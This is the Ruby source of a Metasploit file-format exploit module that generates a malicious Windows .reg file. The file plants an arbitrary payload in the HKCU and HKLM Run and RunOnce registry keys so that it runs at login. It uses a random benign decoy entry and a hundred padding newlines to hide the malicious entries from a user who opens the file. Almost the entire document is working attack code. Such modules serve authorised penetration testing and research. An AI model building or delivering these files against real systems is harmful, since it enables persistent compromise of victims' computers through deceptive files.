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class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Windows Registration Entries (.reg) File',
'Description' => %q{
This module creates a Windows Registration Entries (.reg) file which
adds the specified payload to the Windows Registry. The payload runs
upon Windows login for the current user. If the user has elevated
privileges when opening the file, the payload will run upon login
when any user logs in.
The user will receive a warning prompt to confirm Registry changes
when opening the file.
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles'
],
'References' => [
['URL', 'https://support.microsoft.com/en-us/topic/how-to-add-modify-or-delete-registry-subkeys-and-values-by-using-a-reg-file-9c7f37cf-a5e9-e1cd-c4fa-2a26218a1a23'],
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
['URL', 'https://learn.microsoft.com/en-us/windows-hardware/drivers/install/runonce-registry-key'],
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
],
'Arch' => [ARCH_CMD],
'Platform' => 'win',
'Payload' => {
'Space' => 244,
'BadChars' => "\x00",
'DisableNops' => true
},
'Targets' => [
[
'Microsoft Windows 2000 or newer',
{
'RegistryEditorVersion' => '5.00'
}
],
],
'Privileged' => false,
'DisclosureDate' => '1995-08-24',
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
register_options(
[
OptString.new('FILENAME', [true, 'The registration entries file name.', 'msf.reg']),
]
)
register_advanced_options([
OptBool.new('AddToCurrentUserWindowsCurrentVersionRun', [false, 'Add payload to login for current user.', true]),
OptBool.new('AddToCurrentUserWindowsCurrentVersionRunOnce', [false, 'Same as AddToCurrentUserWindowsCurrentVersionRun, but the registry key is deleted after use.', false]),
OptBool.new('AddToLocalMachineWindowsCurrentVersionRun', [false, 'Add payload to login for all users. The user will see a vague error message if they do not have the necessary permissions, but all other entries are still added successfully.', true]),
OptBool.new('AddToLocalMachineWindowsCurrentVersionRunOnce', [false, 'Same as AddToLocalMachineWindowsCurrentVersionRun, but the registry key is deleted after use.', false]),
OptBool.new('PrependBenignEntry', [false, 'Prepend a benign registry entry at the start of the file.', true]),
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the first malicious registry entry.', 100]),
])
end
def registry_entry(path, type, key, value)
raise "Registry key '#{type}' length (#{key.length}) is too long (max 255)" if key.length > 255
raise "Registry value '#{value}' length (#{value.length}) is too long (max 16,300)" if value.length > 16_300
raise "Unsupported key type '#{type}', excepted REG_SZ" unless type == 'REG_SZ'
escaped_value = value.gsub('\\', '\\\\\\').gsub('"', '\\\"')
reg_entry = "[#{path}]\r\n"
reg_entry << "\"#{key}\"=\"#{escaped_value}\"\r\n"
vprint_status("Created registry entry:\n#{reg_entry}")
reg_entry
end
def format_commands(command_string)
raw_cmd = command_string.to_s.gsub(/^\s*/, '')
if raw_cmd.include?(' & ')
cmd = "cmd.exe /c #{raw_cmd}"
else
cmd = raw_cmd
end
raise "Command length (#{cmd.length}) is too long (max 255)" if cmd.length > 255
cmd
end
def exploit
reg = "Windows Registry Editor Version #{target['RegistryEditorVersion']}\r\n"
reg << "\r\n"
reg_entries = []
if datastore['PrependBenignEntry']
path = "HKEY_CURRENT_USER\\Software\\#{rand_text_alphanumeric(10..16)}"
key = rand_text_alphanumeric(10..16)
reg << registry_entry(
path,
'REG_SZ',
key,
rand_text_alphanumeric(10..16)
)
reg_entries << path + '\\' + key
end
reg << "\r\n" * datastore['PrependNewLines']
if datastore['AddToCurrentUserWindowsCurrentVersionRun']
path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
key = rand_text_alphanumeric(10..16)
reg << registry_entry(
path,
'REG_SZ',
key,
format_commands(payload.encoded)
)
reg_entries << path + '\\' + key
end
if datastore['AddToCurrentUserWindowsCurrentVersionRunOnce']
path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
key = rand_text_alphanumeric(10..16)
reg << registry_entry(
path,
'REG_SZ',
key,
format_commands(payload.encoded)
)
reg_entries << path + '\\' + key
end
if datastore['AddToLocalMachineWindowsCurrentVersionRun']
path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
key = rand_text_alphanumeric(10..16)
reg << registry_entry(
path,
'REG_SZ',
key,
format_commands(payload.encoded)
)
reg_entries << path + '\\' + key
end
if datastore['AddToLocalMachineWindowsCurrentVersionRunOnce']
path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce'
key = rand_text_alphanumeric(10..16)
reg << registry_entry(
path,
'REG_SZ',
key,
format_commands(payload.encoded)
)
reg_entries << path + '\\' + key
end
unless reg_entries
fail_with(Failure::BadConfig, 'No registry entries were created! Check module advanced options.')
end
file_create(reg)
print_status("This file will create the following registry keys:\n#{reg_entries.join("\n")}")
rescue StandardError => e
print_error(e.message)
end
end
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